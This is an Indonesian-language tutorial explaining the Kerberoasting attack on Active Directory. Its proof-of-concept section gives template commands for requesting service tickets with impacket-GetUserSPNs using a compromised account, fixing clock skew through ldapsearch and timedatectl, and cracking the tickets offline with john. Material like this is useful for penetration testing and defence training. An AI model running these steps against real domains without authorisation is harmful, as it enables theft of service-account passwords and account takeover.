Kerberoasting adalah salah satu serangan yang mengeksploitasi kerentanan dalam sistem otentikasi Kerberos di Active Directory. Dalam serangan ini, penyerang akan melakukan percobaan untuk mendapatkan tiket layanan (TGS) pada sebuah layanan tertentu yang dijalankan oleh akun layanan (Service Account), seperti database server (mssql) dan lainnya. Jika berhasil mendapatkannya, penyerang akan mencoba untuk membongkar password yang terkandung di dalam tiket tersebut untuk mendapatkan akses ke akun layanan (si pemilik tiket).

Alur Kerberoasting:

  1. Attacker mengekstrak tiket layanan atau biasa disebut TGS (Ticket Granting Services) dari Kerberos yang bertindak sebagai distributor kunci atau Key Distribution Center (KDC).
  2. Ekstraksi TGS dapat dilakukan menggunakan User yang sudah compromised. Biasanya User tersebut sudah memiliki akses untuk mengakses SPN (Service Principal Names).
  3. Pada dasarnya TGS itu terenkripsi dengan password milik Service Account (yang akan di-crack nantinya) dan Service Account biasanya memiliki akses khusus ke layanan tertentu (misal: mssql).
  4. Ketika Attacker sudah berhasil mendapatkan TGS, kemudian Attacker akan melakukan cracking untuk mendapatkan password (plain-text) milik Service Account yang terkandung di dalam TGS-nya. Hal ini dilakukan dengan menggunakan metode seperti Brute Force secara offline.
  5. Jika password yang terkandung pada TGS berhasil di-crack, maka Attacker dapat login menggunakan Credential milik Service Account atau akun si pemilik tiket tersebut.

Authentication Required! Because this is Post-Compromised Attack!

Serangan Kerberoasting dapat dilakukan ketika Attacker sudah memiliki User yang berhasil di-takeover, karena untuk mengekstrak TGS dan SPN itu perlu menggunakan username dan password.


Proof of Concept

Required Tools.

sudo apt install impacket-scripts -y


Extract TGS and Service Principal Names (SPN) Through Compromised User

Command

impacket-GetUserSPNs <domain>/<username>:<password> -request -dc-ip <ip domain controller>

Impacket-GetSPNs TGS

Catatan:

Jika mengalami Error Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great) maka kita hanya perlu untuk sinkronisasi waktu dan tanggal pada Host yang kita gunakan dengan Server Active Directory.

Get AD Timestamp via LDAP.

ldapsearch -LLL -x -H ldap://<ip domain controller> -b '' -s base '(objectclass=*)' | grep currentTime

Synchronize the datetime.

sudo timedatectl set-ntp false
sudo timedatectl set-time "<YYYY-MM-DD HH:MM:SS>"


Crack the TGS (Kerberoasting!)

Command

john --format=krb5tgs --wordlist=<wordlist> <tgs file>

Kerberoasting with john 1 Kerberoasting with john 2